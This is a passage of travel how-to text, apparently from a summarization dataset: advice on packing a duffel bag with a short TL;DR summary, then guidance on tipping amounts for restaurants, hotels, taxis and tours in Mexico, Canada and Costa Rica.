clothing. This is generally considered the most space-effective method, as well as the best way to reduce wrinkling. Put certain types of clothing into specific parts of your duffel so that you'll know where to find them: for instance, put all of your socks together, and all of your shirts together, and all of your pants...

TL;DR in English: Pack only what you need. Pack heavier items first. Pack to avoid wrinkling. Stuff lightweight clothing items inside your shoes.
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Pesos are preferred to the dollar when you tip in Mexico, but you can technically tip in dollars if necessary.  Offer a 10% to 15% tip to your server at a restaurant. At a hotel, give the porter 10 to 20 pesos per bag, the housekeeper 20 to 50 pesos per night, and the concierge 50 to 150 pesos per favor. Tour guides should receive 100 to 200 pesos per full day per person, but combined driver-guides should get 200 to 300 pesos. Gas station attendants should be tipped 5 pesos per fill-up. Policies concerning gratuities are similar in Canada when compared to the policies of the United States.  Offer 15% to 20% of the bill to your waiter at a restaurant. At your hotel, the concierge should get $10 to $20 per favor. Porters get $1 to $2 per bag. Housekeepers get $2 per day, or $5 per day at a luxury hotel. Tip taxi drivers 10% to 15% of the fare. Offer tour guides a collective 15% of the cost at the end of an excursion. Tipping costs are fairly cheap in Costa Rica, partially because of the fact that Costa Ricans are paid better than many other service providers in Central America.  Your restaurant tip is included in the bill, but you can offer something extra if desired. At a hotel, give $0.25 to $0.50 per bag to the porter or $1 per bag at a fine hotel. The housekeeper should get $1 per day. Taxi drivers receive a $2 to $4 tip for a long drive, or a $1 to $2 tip from a trip from the airport to your hotel. Tour guides receive $5 to $10 per person per day. On a boat ride, tip the captain $5 to $10. This will be distributed throughout the crew.

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